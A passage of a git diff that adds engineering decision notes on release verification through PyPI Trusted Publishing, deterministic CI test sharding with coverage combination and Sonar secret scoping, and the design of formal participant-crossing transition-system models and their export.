+ +## Decision + +Issue #684 checks the incumbent public release path, not authority to replace +it. The maintainer clarified on 2026-09-19 that a new public release is not an +acceptance prerequisite. The issue-body criteria requiring an actual published +distribution, public byte comparison, or a release-run record are superseded; +no release is created for this issue. Release Please remains the sole version and +changelog owner; `.github/workflows/release-please.yml` remains the sole release +orchestrator; PyPI Trusted Publishing and the separate GitHub Release publisher +remain the publication boundaries. Change those surfaces only for a concrete +defect covered by focused tests. + +The current public tag `v5.0.0` predates `c7450806`, which introduced the +narrowed #1227 same-byte publication and recovery work. Its public provenance +can establish the historical publisher identity, but not execution of the +current workflow. The current workflow is assessed through its dependency +graph and focused tests, without asserting that a later public release ran it. + +## Canonical boundaries to reuse + +- `release-please-config.json`, `.release-please-manifest.json`, + `implementations/python/packages/raes/_version.py`, the Conventional Commit PR + title, and root `CHANGELOG.md` are one version/release-note contract. Do not add + another version source, changelog fragment system, release classifier, or + retired package identity. +- `.github/workflows/canonical-verification.yml` owns exact-commit repository + verification. The release-only `integration-docker-release` job adds the + required real-container lane; neither should be copied into an acceptance + script. +- `tools/python_closure.py`, `tools/python_closure_profiles.py`, and the reviewed + `public-linux-x86_64-cp312-all-extras` profile own constrained build and + installed-distribution smoke environments. The release workflow's artifact + smokes are assessed as code and tests here, not as a public-PyPI consumer run. +- `raes_contracts.corpus`, `raes --version`, and `raes conformance backend + --profile provisioning-only` are the existing consumer probes. Reuse the + installed-distribution assertions in `test_corpus_packaging.py`: run outside + the checkout with `PYTHONPATH`/`PYTHONHOME` absent, prove corpus resolution is + from `site-packages`, require a passing report, and reject zero cases. +- `tools/release_evidence.py`, `tools/release_evidence_admission.py`, and + `tools/release_evidence_publication.py` own the release identity, admitted + subject set, evidence index, publication filename/version correspondence, and + publisher handoff. The attached `release-evidence-index.json` is the canonical + distribution digest set. Do not add a second manifest, checksum schema, + exception hierarchy, or evidence model for #684. +- `implementations/tooling/admission-policy.json` and + `implementations/tooling/schemas/admission-policy.schema.json` own the approved + attestation issuer, repository, workflow and reviewer role. `AdmissionError` + and its stable codes remain the local refusal vocabulary; workflow/API + failures remain concise shell diagnostics. +- `MAINTAINERS.md`, `GOVERNANCE.md`, the `verify`/`sonar` branch checks, the + release-PR admin merge convention, the `v*` tag rule, and the `pypi` + environment are the governance/control surface. Roles named in artifact docs + are responsibilities of the one maintainer, not extra people. + +## Acceptance evidence boundary + +Keep the issue's observed-control record separate from the reusable operator +runbook in `docs/explain/releasing.md`. It records the public PyPI provenance +publisher identity, GitHub environment and branch controls, configured +Conventional Commit classification, workflow dependencies, and focused test +results. Do not turn historical `v5.0.0` evidence or source tests into a claim +that the current #1227 workflow completed a public release. Private PyPI +publisher settings and account tokens cannot be inferred from public metadata; +record that visibility limit rather than claiming they were inspected. Do not +commit credentials, raw OIDC claims, cookies, signed URLs, or settings exports. + +`docs/explain/releasing.md` should describe the current operator procedure, not +retain first-release setup prose now that releases exist. Replace the pending +publisher instructions with verification of the existing publisher tuple, +record the actual one-maintainer authorization point, and remove the historical +enterprise retention prerequisite. Keep the focused #1227 same-run recovery: +re-run failed jobs while the original Actions artifacts remain available; never +rebuild, overwrite, or move a tag for an existing version. + +## Control observations (2026-09-19) + +- The public [PyPI project](https://pypi.org/project/raes/) is `raes`. + The [wheel](https://pypi.org/integrity/raes/5.0.0/raes-5.0.0-py3-none-any.whl/provenance) + and [sdist](https://pypi.org/integrity/raes/5.0.0/raes-5.0.0.tar.gz/provenance) + provenance for historical `v5.0.0` each report a GitHub Trusted Publisher + with repository `OpenRAE/rae`, workflow `release-please.yml`, and environment + `pypi`. This proves how those files were published, not the current private + PyPI publisher registration or absence of other project/account tokens. +- The [GitHub `pypi` environment](https://github.com/OpenRAE/rae/settings/environments) + exposes one deployment branch policy, `main`, and no required human-review + rule. The active release workflow is `.github/workflows/release-please.yml`; + only `publish-pypi` combines that environment with `id-token: write`. +- The [branch protection](https://github.com/OpenRAE/rae/settings/branches) + for both `main` and `dev` requires the named verification/security checks, + forbids force pushes and deletion, and requires zero approving reviews. + Active branch rulesets `merge-policy-main` and `merge-policy-dev` require a + PR and likewise name no independent reviewer. This matches the single + maintainer in `MAINTAINERS.md` and `GOVERNANCE.md`. +- After maintainer authorization, the active + [`protect-v-release-tags` ruleset](https://github.com/OpenRAE/rae/rules/23692605) + targets `refs/tags/v*` and restricts updates and deletions with no bypass + actors. It does not restrict creation, so Release Please can still create new + version tags. The rule was read back from the repository ruleset API; no + release was created to test it. +- The current release workflow contains the exact-SHA verifier, required + real-container lane, constrained build/smokes, separate attestation and + admission, and two credentialed publisher jobs. The #1227 recovery tests + cover same-byte destination reconciliation. These are repository-level + observations, not an assertion that a post-#1227 release completed. + +## Release eligibility behavior probe (2026-09-19) + +The release workflow pins `googleapis/release-please-action` to +`45996ed1f6d02564a971a2fa1b5860e934307cf7` (v5.0.0). That action's +package lock pins `release-please` 17.6.0. In a temporary, non-repository npm +installation of that exact library version, invoke the Python strategy's +`buildReleasePullRequest` with the checked-in `changelog-sections` and parsed +single-commit fixtures. Only file-update methods are stubbed to avoid GitHub +and filesystem writes; conventional-commit parsing, changelog generation, and +the release-PR eligibility decision run from Release Please itself. Results: + +| Commit type | Release PR candidate? | +| --- | --- | +| `docs`, `chore`, `refactor`, `test`, `ci`, `build`, `style` | No | +| `feat`, `fix`, `perf` | Yes | + +This checks the decision made by the pinned library, not a live GitHub release +run. `test_release_workflows.py` locks both the section mapping and action SHA, +so updating either requires the behavior check to be revisited. + +## Cross-cutting validation and security gates + +The acceptance path crosses the following existing gates: + +1. Untrusted PR titles and commit messages pass `tools/check_pr_title.py`; Release + Please applies the configured Python release rules. Acceptance observes this + behavior and does not implement a second Conventional Commit parser. +2. A tag must pass the stable-SemVer shape check, resolve through the bounded + annotated-tag walk to a full lowercase commit SHA, belong to `main`, and match + the numeric draft Release object. Revalidate this identity at each existing + publication boundary. +3. Candidate source passes the reusable exact-SHA verifier and required + real-container gate without publication authority. Build, signing, admission, + PyPI publication and GitHub finalization retain their current separate jobs + and least-privilege permissions. +4. Release evidence remains size-bounded, duplicate-key rejecting, shape-checked, + digest-bound and attestation-checked before the four shell-safe publisher + scalars are emitted. Publisher jobs check out and execute no candidate source. +5. PyPI/GitHub responses and downloaded files are untrusted inputs: require the + expected response shape, bounded and time-limited reads, exact filename set, + regular files, version correspondence and SHA-256 equality. An + unavailable/ambiguous response fails closed and is not interpreted as + absence. +6. Secrets stay in the GitHub/OIDC credential channel. `GH_TOKEN` is passed by + environment, PyPI uses short-lived OIDC through the pinned publisher action, + checkouts do not persist write credentials, and no credential appears in + process arguments or diagnostics. + +The release evidence index and public destination state are not error envelopes +or logging schemas. Preserve `AdmissionError` codes for local admission and +short, non-secret workflow messages for external failures; do not introduce a +parallel structured logger or expose response bodies merely to make the +acceptance record verbose. + +## Extensibility seam + +Keep Release Please's configured changelog-section mapping as the seam for +commit-type policy. The workflow's existing release coordinate—tag/version, +full SHA, run id/attempt, Release id, and admitted subject records—remains the +seam for a future, separately authorized end-to-end acceptance exercise. Do +not add another release classifier, manifest, or multi-registry framework. + +## Non-goals and anti-patterns + +- No unauthorized release, test publication, second package, retired-identity + publication, semantic-release/towncrier restoration, or manual + version/changelog edit. +- No enterprise artifact host, offline bundle, promotion/quarantine/revocation + service, backup/DR program, retention/GC service, deployment, or operational + acceptance matrix. +- No fictional independent approver or deputy. Human governance stays + single-maintainer; machine credentials and duties stay separated. +- No rebuild for recovery, mutable tag acceptance, `--clobber`, blind + `skip-existing`, successful-HTTP-as-integrity, or checksum computed only after + destination upload. +- No public-PyPI consumer smoke is required to close this issue. +- No new release manifest/schema, duplicated digest/validation code, copied + workflow graph, custom HTTP client, persistence layer, release service, or + exception/logging framework. diff --git a/docs/decisions/issue-935-ci-shard-fast-feedback-preflight.md b/docs/decisions/issue-935-ci-shard-fast-feedback-preflight.md new file mode 100644 index 000000000..93a7cedad --- /dev/null +++ b/docs/decisions/issue-935-ci-shard-fast-feedback-preflight.md @@ -0,0 +1,241 @@ +# Issue #935 CI Sharding and Fast-Feedback Preflight + +Date: 2026-09-16 + +Issue: #935. This is a requirement-free maintenance run. The issue title, body, +acceptance criteria, accepted ADR-103/ADR-106/ADR-107 decisions, and accepted +package-artifact design set are the implementation contract. + +This note records architecture guardrails only. It does not implement a shard, +change a required check, enable a cache, pass a Sonar quality gate, publish an +artifact, or claim latency results. + +## Entry gates and present boundary + +Implementation remains gated by the live native dependency relationships for +#1168, #1219, and #839. Repository history contains the accepted design and the +verified-installation/action-admission implementations, but history and this +note do not replace a live dependency/status check before execution. + +The issue's approximately 5,100-test observation is historical. A collection +snapshot on 2026-09-16 found 10,732 tests: 10,559 default tests, 163 hermetic +`integration` tests, 8 `fuzz` tests, and 2 opt-in `docker` tests, with no overlap +between those marker selections. These counts are diagnostics, not configuration +or acceptance constants. Shard completeness must be derived from the current +collection on every run. + +## Canonical incumbents + +| Concern | Canonical incumbent | Guardrail for #935 | +|---|---|---| +| Exact-SHA admission and protected check | `.github/workflows/canonical-verification.yml`, the `canonical` call and stable `verify` join in `.github/workflows/ci.yml`, plus release caller `verify-release` | Keep one reusable exact-SHA graph for PR, protected-branch, and release verification. Do not duplicate a cheaper PR graph or let the release caller select a weaker lane set | +| Verification topology | `noxfile.py`, `tools/nox_support/graph.py`, `test_lanes.py`, `runner.py`, `config.py`, and `tools/parallel_verification.py` | Extend the existing lane/session boundaries. CI job topology may distribute those lanes, but must not reimplement their commands, coverage policy, reporting, or exceptions in workflow shell | +| Change classification | `tools/verification_plan.py`, `collect_git_changes()`, `plan_for_changes()`, and `select_changed_python_tests()` | The early lane may reuse these fail-closed Git and direct-test selectors. Do not add path heuristics or a second change schema in YAML. Selection is feedback only and never merge authority | +| Python collection and category ownership | `implementations/python/pyproject.toml` pytest marker/addopts contract | Preserve the default, integration, fuzz, and Docker meanings. CI shards divide only one explicitly named collection domain; they do not redefine markers or make opt-in Docker tests a required hosted lane | +| Coverage authority | ADR-103, Coverage.py configuration in `implementations/python/pyproject.toml`, `_finalize_parallel_coverage()`, `_write_and_check_coverage()`, `_enforce_line_coverage()`, and `sonar-project.properties` | Combine default-shard and hermetic-integration data before generating XML/JSON and enforcing the existing 90% line floor. Do not implement another coverage calculator or rewrite XML to manufacture portability | +| Workflow/action admission | `implementations/tooling/actions-policy.json`, its closed schema, `implementations/tooling/action_policy_*`, and `tools/check_tooling_artifact_policy.py` | Every new job and action occurrence must have an exact job/use-site record. Reuse the admitted upload/download/setup actions and extend the existing reusable-secret contract narrowly if Sonar moves inside the reusable graph; never bypass or weaken the validator | +| Input installation and cache safety | ADR-106, the package-artifact design set, `tools/verified_tool_installation.py`, `tools/bootstrap_profile.py`, the frozen Python closures, and the #1219 qualification harness | Share admitted immutable inputs or read-only seeds, then create private job environments/installations. Do not transfer `.venv`, a writable uv/tool cache, or a previously executable workspace between jobs | +| Diagnostics and gate errors | `SessionReporter`, `VerificationLaneResult`, `PolicyFailure`, pytest/JUnit output, and native GitHub job/check results | Retain these envelopes and stable stage identities. A shard helper may raise sanitized `ValueError`/`RuntimeError` at the tooling boundary; it does not need another exception hierarchy or result schema | + +No new ADR is required. This is a distribution of the verification graph under +the accepted coverage, tooling, and artifact decisions, not a new product or +runtime architecture. + +## Verification-graph decision + +The reusable canonical workflow remains the sole full-gate owner. Its required +coverage producers may run as a bounded matrix, while static/policy, contracts, +proof, docs-local, and other incumbent admission lanes run independently. The +caller-level `verify` context remains an `always()` fail-closed join over the +complete reusable result so branch protection does not silently change meaning. +Fuzz, interpreter compatibility, supply-chain, and the current optional Docker +lane retain their existing caller-level ownership and failure semantics. + +A caller sees a reusable workflow invocation as one atomic job; it cannot depend +on an internal coverage-ready job. Therefore Sonar analysis must run inside the +canonical reusable graph and depend only on the exact source context plus the +successful coverage reducer. The reusable graph exposes one bounded Sonar +outcome tied to that source SHA. A top-level `sonar` compatibility join may +preserve the existing branch-protection context by checking only that outcome; +it must not produce analysis or inherit the unrelated canonical result. Missing +or malformed output fails closed. Putting a duplicate test/coverage graph in +`ci.yml` merely to unblock the existing Sonar job is prohibited. + +The reusable interface needs a default-off Sonar enablement input and one +explicitly named optional secret. `ci.yml` enables it; the release caller leaves +it disabled and passes no secret. The existing action-policy `localWorkflow` +shape currently rejects all reusable secrets. Extend that closed schema and the +same semantic validator to admit only the declared secret mapping. Do not use +`secrets: inherit`, an ambient repository token, a second policy file, or an +unparsed expression escape hatch. + +The early-feedback lane is distinct from the full gate. It always runs the +incumbent static/lint/policy surfaces that are valid for the exact diff and may +run directly changed pytest modules selected by `verification_plan.py`. An +unknown dependency relationship must produce an explicit “no authoritative +targeted selection” outcome and defer to the already-running full shards; it +must not guess test ownership or claim the selected subset is sufficient. +Selected-test coverage is excluded from final coverage. Re-executing a directly +changed test in this advisory lane does not violate the exactly-once invariant, +which applies to ownership within one full-suite shard run. + +## Deterministic shard and coverage contract + +One code-owned partition function maps the canonical collected pytest node id +to `int.from_bytes(sha256(nodeid.encode("utf-8")).digest(), "big") % +shard_count`. Python's +randomized `hash()`, xdist scheduling, wall-clock timings, filesystem order, and +GitHub matrix order are not shard authorities. `shard_count` is a validated, +bounded reusable-workflow/Nox parameter; `shard_index` is validated against it. +The workflow must not maintain a second hard-coded module-to-shard table. + +The partition applies after the incumbent marker expression defines the suite. +Every shard records its exact source SHA, algorithm version, suite expression, +count/index, and selected node ids. The reducer recollects the same suite in the +same frozen environment and fails unless shard manifests are pairwise disjoint, +their union exactly equals that collection, every index is present once, and +all producers succeeded. Focused tests also prove order independence, stable +ownership, invalid-bound rejection, additions/deletions, parametrized node ids, +and duplicate/missing-manifest failure. xdist may schedule work inside one shard, +but it is not the cross-job partitioner and its worker cap must avoid nested +oversubscription. + +Each successful coverage producer emits a uniquely named, exact-SHA/run-attempt/ +suite/shard-bound Coverage.py data artifact plus the shard manifest. Missing +files are errors. Raw shard data is combined once with Coverage.py; only then are +`coverage.xml` and `coverage.json` generated, the aggregate line floor enforced, +and the final same-run report exposed to Sonar. The reducer must not run over +partial data under `always()`, accept an absent failed shard, or combine advisory, +fuzz, compatibility, or stale-run coverage. + +Coverage data must be portable between clean runner workspaces. Test this with +separate temporary checkout roots. If the current absolute-path configuration +cannot combine correctly, use Coverage.py's own `relative_files`/`[paths]` +facilities and amend ADR-103 deliberately; do not search-and-replace paths in +binary data or generated XML. + +Shard data, manifests, JUnit, and ordinary PR coverage remain C03-derived +reports with short retention and `write-untrusted`/`read-same-run` roles. Their +names, cache keys, or existence are not content integrity, release evidence, +promotion, or publication authority. Exact reports retained later by release +admission remain the #1226/#1227 boundary. + +## Cross-cutting layers the design must pass + +- **Repository/config shape.** Every workflow continues through the bounded + regular-file YAML parser, duplicate-key/alias rejection, normalized GitHub + `on` handling, closed condition/expression grammar, exact action SHA checks, + immutable runner/profile join, least-privilege permission join, and exact + workflow-job/use-site coverage. Internal policy JSON continues through + `safe_repo_path()`, no-symlink checks, bounded duplicate-key-rejecting parsing, + local-only Draft 2020-12 schemas, and semantic joins. Matrix expansion, + artifact roles, and the new explicit reusable-secret mapping must be understood + by this one validator or fail closed. +- **Exact source and environment binding.** Validate the full lowercase source + SHA once and make every checkout use it with `persist-credentials: false`. + Validate the comparison base before change classification. Preserve + requirement-branch/UID propagation and requirement-free `--skip-requirement` + behavior. Shards use the frozen tooling/project locks and the same pytest and + coverage configuration; no mutable dependency resolution or runner alias may + influence ownership. +- **Authentication and secret handling.** Public, fork, Dependabot, test, shard, + reducer, and report jobs have no Sonar, enterprise, promotion, publication, + package-write, OIDC, or trusted-cache-write credential. Sonar remains limited + to protected pushes and same-repository non-Dependabot PRs. Its token is passed + explicitly and only as `SONAR_TOKEN` to the scanner boundary, never in an + input, artifact, cache key, output, command argument, checkout credential, + event dump, or log. Gitleaks/private-key checks and action-policy credential + classes remain in force. +- **Acquisition/cache boundary.** Reuse setup actions, frozen uv closures, + admitted local inputs, and verified installations. A producer may carry an + immutable wheelhouse/raw-object/read-only seed to private shard workspaces; + every consumer revalidates it through the owning lock/policy. A PR cannot save + a shared writable cache. Adding `actions/cache/restore` requires its exact + source/transitive-input admission under #839 and owning byte re-admission; + cache restoration is optional performance work, not a precondition for + sharding correctness. +- **OS/process exposure.** Preserve the current pinned runner generations and + the Ubuntu 22.04 Bubblewrap proof-host exception unless a separately qualified + host change is accepted. Do not share writable filesystems, daemon sockets, + fixed temp names, home-directory state, broad environment maps, or executable + search paths between shards. Tokens never enter argv. Coverage/artifact paths + are private, normalized, and unique per producer. +- **Errors and observability.** `PolicyFailure` remains the shape for static + admission failures; `SessionReporter` remains the Nox stage envelope; pytest + remains the test-failure authority. Log shard/suite/count/index, collected and + selected counts, duration, exact public source SHA, and stable failure reason, + but not environment contents, GitHub event payloads, artifact service tokens, + raw native exceptions, or Sonar credentials. A skipped/missing/cancelled + producer never becomes a successful aggregate. + +## Measurement contract + +Latency acceptance must use the current required-check set and comparable PR +cohorts, not the historical 5,100-test count. Record the sample window, number of +runs, head SHA and attempt, event/trust class, queue time, runner time, and +cancellations. For failed attempts, time to first actionable failure is measured +from workflow `run_started_at` to the earliest terminal failing required or +fast-feedback step/check. Successful attempts are not imputed as failures. +Final required-check completion is the latest terminal timestamp among the +branch/ruleset's actual required checks for that same SHA and attempt. Report +median and p95 for baseline and resulting cohorts; separate queueing from +execution and do not cherry-pick only warm-cache or successful runs. + +Reuse native GitHub run/job/step timestamps and `SessionReporter` durations. +Do not add a telemetry service, database, credential-bearing log scraper, or +repository schema merely to calculate these issue-level measurements. + +## Documentation boundary + +Update developer documentation only when the executable graph lands, so it does +not describe commands that do not yet exist. `docs/DEVELOPMENT_WORKFLOW.md` owns +the maintainer-facing fast-feedback/full-gate distinction, shard ownership, +coverage reduction, and one Nox-based reproduction command for a failed shard. +`CONTRIBUTING.md` keeps the public local workflow aligned without exposing CI +implementation detail. `docs/explain/releasing.md` must continue to describe the +same exact-SHA canonical gate after its internal topology changes. Commands in +workflow YAML and prose must call the same Nox/session seam rather than duplicate +raw pytest marker, coverage, or partition arguments. + +## Gotchas and anti-patterns + +- Do not conflate GitHub job shards with xdist workers, an early selected subset + with the merge gate, a coverage artifact with a cache, or a cache with admitted + input/release evidence. +- Do not hard-code today's test count, test filenames, or shard membership in + workflow YAML; do not use `hash()`, random order, timing-dependent ownership, + or a third-party sharding service as the coverage authority. +- Do not upload multiple artifacts under one ambiguous name, reuse artifacts + across workflow attempts, merge partial coverage after a failed shard, or let + `if: always()` manufacture a final report. +- Do not pass `.venv`, `.cache`, installed executables, or a writable tool tree + between untrusted jobs. Artifact/cache service isolation does not make bytes + trusted. +- Do not let matrix `fail-fast` cancellation hide additional shard failures or + count a cancelled shard as complete. The final join must distinguish failure, + skip, and cancellation from success. +- Do not move proof execution off its qualified host, disable Bubblewrap, weaken + repo-policy/contracts/fuzz/integration/supply-chain checks, lower coverage, or + replace the full suite with change selection to improve a latency number. +- Do not make Sonar secret-bearing execution available to forks/Dependabot, use + `secrets: inherit`, put the token in argv, or weaken the action-policy grammar + to accept a reusable workflow the parser cannot classify. +- Do not break the release caller, exact-SHA/base binding, stable `verify`/Sonar + check contexts, or protected-branch configuration while changing internal job + topology. + +## Non-goals and implementation boundaries + +- No application/runtime controller, DTO, service, repository, database, + persistence model, public schema, SDL semantic, or domain exception change. +- No test deletion, marker redesign, coverage-threshold change, interpreter- + support change, optional-Docker promotion, proof-host migration, or weakening + of existing required gates. +- No new package manager, HTTP client, artifact promotion/retention service, + enterprise credential flow, shared writable cross-tenant cache, or release + publication authority. +- No branch-protection edit, protected-branch merge, feature-PR merge, release, + or claim that #1226/#1227 report retention and admission have shipped. +- No general performance framework. This issue owns deterministic CI partition, + same-run coverage reduction, early feedback, documentation, and evidence of + the stated latency outcome only. diff --git a/docs/decisions/issue-971-participant-crossing-models-preflight.md b/docs/decisions/issue-971-participant-crossing-models-preflight.md new file mode 100644 index 000000000..e04d7260a --- /dev/null +++ b/docs/decisions/issue-971-participant-crossing-models-preflight.md @@ -0,0 +1,201 @@ +# Issue 971: Independent Participant-Crossing Models Preflight + +Date: 2026-09-27. Requirement: SEM-232; supporting authorities: SEM-230, +API-423, RUN-319. Scope: #971 only. + +Resolution: the user approved one fresh operation and retries; #1395 records +the separate multiple-operation scope. The [executable rev2 rules](../../specs/formal/participant-semantics/participant-crossing-models.md) +and [construction record](../research/participant-bisimulation/model-construction.md) +resolve the design gates recorded below. ADR-100's #971 amendment records the +rev2 target and these semantics. Runtime behavior is unchanged. + +The crossing-kernel boundary in [ADR-100](adrs/adr-100-participant-crossing-bisimulation.md) +stands. The original preflight found the rev1 design **not ready for mechanical +transcription into two exporters**. The historical design gates below are now +resolved by the linked rev2 authority and the ADR amendment. This note records +architecture constraints; the ADR amendment is the revision authority. It supplements the historical [#811 preflight](issue-811-participant-bisimulation-preflight.md). + +## Design gates + +### Transition labels and state updates must be unambiguous + +The [formal authority](../../specs/formal/participant-semantics/participant-crossing-bisimulation.md) +has decision values `transform` and `declassify`, but visible decision labels +only for permit, deny, and unsupported. Abstract schema 2 says to emit the +decision selected by the policy table; schema 3 separately emits the change. +The concrete schemas instead describe permit followed by change. Pin whether +these outcomes mean permit-then-change, and give the corresponding phase and +delivery-coordinate updates. Do not invent extra decision labels, silently +emit a change twice, or let a change remain indefinitely enabled in `decided`. + +Likewise, reconcile the abstract `decided` invariant with refusal becoming +terminal after its visible decision. An unlabeled implementation update cannot +be an extra abstract transition: this profile declares no abstract hidden +steps. Every schema needs guards and target coordinates sufficient to determine +the reachable graph, including when `Pending`/`Intent` and gate state reset. +Internal rank decrease must hold on actual concrete edges; naming phases in a +rank list is not evidence that every hidden transition decreases it. + +### Replay and history must actually admit a complete finite carrier + +The design permits fresh requests from `terminal`, has one request id, stores +`Last = Rid x K x D`, and bounds `Head` to four values. It does not specify when +that request is fresh again, how a changed input under the same identity is +distinguished from replay, or what a fresh commit does at `h3`. Resolve these +questions together. Declare whether identity reuse is excluded by the finite +environment or represented with an input/fingerprint coordinate; do not +silently assume either. Bound the logical commits by semantics, or govern a +justified finite abstraction of history. Saturation, wraparound, dropping the +next request, or stopping exploration at `h3` is not an acceptable implicit +solution. Repeated idempotent replay may produce infinite visible paths in a +finite graph; that is different from hidden divergence. + +Same-cut replay repeats the declared observations without another logical +commit; later-cut rejection preserves the recorded result. Real runtime +fingerprints, history heads, and replay checks remain mapping obligations, +not facts established by using the same names in the model. + +### Termination must survive the export + +The profile calls states `terminal` while enabling subsequent requests and +possibly cut advance. Distinguish completion of one crossing from global LTS +termination. Ordinary `.aut` contains an initial state, counts, and labelled +edges; it has no terminal-state predicate field. Thus a sidecar flag alone +cannot make success, refusal, and deadlock distinguishable to the checker. +Explain how the governed observable behavior represents each promised +distinction, or revise the claim/profile through normal governance. Do not add +an undeclared success label or silently equate an unexpected dead end with +successful completion. See the official [AUT format](https://www.mcrl2.org/web/user_manual/tools/lts.html). + +The candidate abstraction `alpha` and witness `B0` are proposals. In particular, +commit/refusal phases must map into reachable abstract states. Neither exporter +may prune or rewrite its transitions to satisfy that proposed correspondence. +The greatest-fixed-point equivalence decision belongs to #974, not #971; +graph fixed-point enumeration in #971 is a different operation. + +### Extend the existing profile boundary, including its consumers + +`raes_contracts.behavioral_relation_profiles.BehavioralRelationProfileModel` +currently fixes `relation_id` to opacity, has opacity-specific `parameters`, +and resolves only three opacity ids. The theorem object in +`docs/research/participant-bisimulation/implementation-program.json` is design +data, not a loadable relation profile. Use a closed DPBB parameter variant in +the existing profile family, resolver and corpus; no parallel registry, +arbitrary dictionary, opacity placeholder, or skipped join validation. + +The DPBB variant must bind both model carriers, their revisions/digests and +initial states, complete domains, projection and label partition, and supported +dimensions. `behavioral_relations._validate_binding_profile()` currently joins +only the left carrier. Its shared validation boundary must also check the right +carrier when admitting binary profiles. Preserve unary opacity behavior. +Opacity processor admission and `participant_opacity_runtime.py` directly +access opacity parameter fields: they must reject an incompatible variant +before those accesses. Do not turn a new profile into an `AttributeError` or +accidentally route it through the opacity kernel. + +Current catalog authority is `rev12`; the theorem design explicitly pins +`rev8`, which is retained in `contracts/concept-authority/history/` and supported +by `load_behavioral_relation_catalog_revision()`. Use exact revision loaders +for catalog and profile. Do not downgrade the current catalog, substitute +ambient latest, or rewrite historical artifacts. If semantic clarification +changes the named profile/model/projection, record the revision decision and +new digests; never silently change bytes under an established identity. + +Published profile evolution uses ADR-061 compatibility assessment, +`contracts/schemas/profiles/behavioral-relation-profile-v1.json`, +`schema_bundle()`, schema invariants, valid/invalid fixtures, publication +entries and manifest `last_change`, and corpus wheel/sdist parity. A local +Pydantic change alone is insufficient. Any necessary accepted-ADR amendment +uses ADR-059; the #971 amendment and updated acceptance pin now record it. + +### Export is a semantic boundary + +Each model independently determines enabledness, successors and reachability. +They share only governed profile/projection data and nonsemantic plumbing +(ingress, canonical bytes, serialization). Do not share a decision/transition +oracle, generate one graph from the other, use the candidate witness as a +generator, or promote `tests/sem230_information_flow_model.py` to normative +authority. Different function names and source hashes do not establish +independent construction; review must inspect transition dependencies. + +For each graph, enumerate until the reachable set and edges close, then check +initial-state membership, endpoint closure, domain membership and exact counts. +Completeness means closure under every admitted transition rule, not merely +that a supplied edge list references existing nodes. Resource limits terminate +with failure and no complete artifact. Do not use depth/sample bounds, +epsilon elimination, minimization, or a selected schedule to hide missing work. + +Pin state numbering, edge order, encoding/newlines and duplicate-edge handling. +Keep a digest-bound ordinal-to-synthetic-state map for review. Validate the +`.aut` header against emitted bytes, including isolated states and the declared +initial state, and check export/readback agreement. Reject duplicate labels, +visible/hidden overlap, unknown labels, unsafe strings and unsupported format +features. Preserve the five original hidden classes in review data before +their deliberate many-to-one conversion to `internal`. + +`--tau=internal` hides actions **in addition to** internal actions already in +the input. The exporter must therefore exclude undeclared native internal +encodings, not just validate that flag. Do not assume DPBB diagnostic-formula +support from another equivalence mode; the official documentation lists tested +counterexamples for other modes. Those result/counterexample obligations belong +to #973/#974. See [`ltscompare`](https://www.mcrl2.org/web/user_manual/tools/release/ltscompare.html). + +## Cross-cutting layers and incumbents + +Paths below are repository-relative; Python module names are under +`implementations/python/packages/`. These are required boundaries for the +intended implementation, not claims of checks delivered by this preflight. + +| Layer | Canonical incumbent and required behavior | +| --- | --- | +| File and JSON ingress | `raes_contracts.json_ingress.parse_bounded_json_object()` rejects duplicate members, invalid roots and nonfinite numbers; supply nesting and byte bounds. It accepts already-read bytes, so bound regular-file reads before parsing. Use `tools.policy.common.safe_repo_path()` for repo containment and the no-follow bounded-file pattern in `raes_operations.run_artifacts.RunMaterializationArchive` where writable input paths require race protection. Reject absolute/traversing/symlink-escaping paths, special files and oversized inputs. A `SafeRef` string is not filesystem authorization. | +| Schema and semantic admission | Reuse `ContractModel(extra="forbid")`, bounded field types, shared profile loaders, catalog loaders and `validate_behavioral_claim_binding()`. Closure does not imply strict scalar types: require genuine integer ordinals/counts, not booleans or coerced strings. Keep cross-field joins in one owner and expose published invariants through the existing schema machinery. New internal bundle metadata needs one closed checker, not an unsolicited public proof DTO. | +| Participant carrier ownership | The published `participant-crossing-occurrence-v1` schema and `ParticipantCrossingOccurrenceModel` use `ParticipantRuntimeBaseEnvelopeModel`; `validate_participant_crossing_occurrence_context()` owns the typed subject, policy, evidence and predecessor joins. API-406 owns observation, history and outcome carriers; API-409 owns control occurrences; DSL-142 owns inject-delivery identity. The finite LTS represents selected crossing facts by reference and projection. It must not duplicate payloads, mint a generic message carrier, or treat a valid occurrence as proof that delivery or observation happened. | +| Source and artifact identity | Reuse `raes_contracts.canonical.canonical_json_bytes()` / `canonical_json_digest()` for semantic JSON identities. Bind source and `.aut` file identities to exact bytes separately. `serialize_run_artifact()` writes pretty sorted JSON, not RFC 8785 bytes: do not interchange those digests. Record both independent source closures, exporter, profile, projection, revisions, counts and generated artifacts. Compute identities from bytes actually consumed; a commit id alone misses dirty files. Keep digest dependencies acyclic rather than hashing a manifest into itself. | +| Authentication and policy | #971 is an offline repository model producer; it traverses no HTTP, backend or live control-plane authorization boundary. Its singleton identity and finite gates do not establish authentication. Concrete derivation must account for `participant_crossing_policy.py` identity/role/subject binding, independent semantic gates and effective API-407 support. Required unresolved gates fail closed. Later mapping uses `ControlPlaneSecurityConfig.strict_defaults()`, verified identities, request bounds and the existing boundaries, not a new auth route. | +| Runtime context and persistence | API-423 `validate_participant_crossing_occurrence_context()`, `participant_crossing_history.py`, `RuntimeSnapshot` and `ControlPlaneStore.commit_participant_transition()` already own subject/policy/predecessor joins, append-only history and expected-head atomic commit. Reuse them for typed fixtures and later mapping, not as an abstract transition oracle. Refusal may commit safe refusal evidence while preserving unrelated state. No proof fields in snapshots, audit events or backend reports, and no new store. | +| Current runtime boundary | `participant_crossing_boundary.py`, `participant_crossing_egress.py`, `participant_crossing_records.py` and `participant_crossing_commit.py` now include flow-sink, opacity and modular-control interactions. Pin the source inventory and explicitly bound which behaviors the formal kernel represents. Visible effects of newer gates cannot be hidden by calling them bookkeeping. Source drift must fail review; #972 owns evidence that a selected runtime configuration realizes the model. | +| Secrets, errors and observability | Synthetic bounded ids, safe ordinals, counts and public digests only in models, fixtures, maps, diagnostics and artifacts. No secret file access, dotenv loading, runtime payloads, policy bodies, memory, environment dumps or host paths. Hashing secrets is not redaction. Use `Diagnostic`/`DiagnosticModel` and existing `sanitized_failure_message()` at appropriate outer boundaries, with fixed messages/known schema addresses. Some incumbent profile errors interpolate rejected ids: sanitize those too. No raw exception/Pydantic input/traceback/tool output in CLI errors or retained evidence. Progress summaries are not proof evidence; add no logger or exception hierarchy. Any future HTTP wrapper retains the generic internal-error envelope. | +| Environment and host process | Model/profile contents are file inputs, never env overrides, import paths, expressions or shell arguments. Reproducibility uses fixed safe path/id arguments and explicit 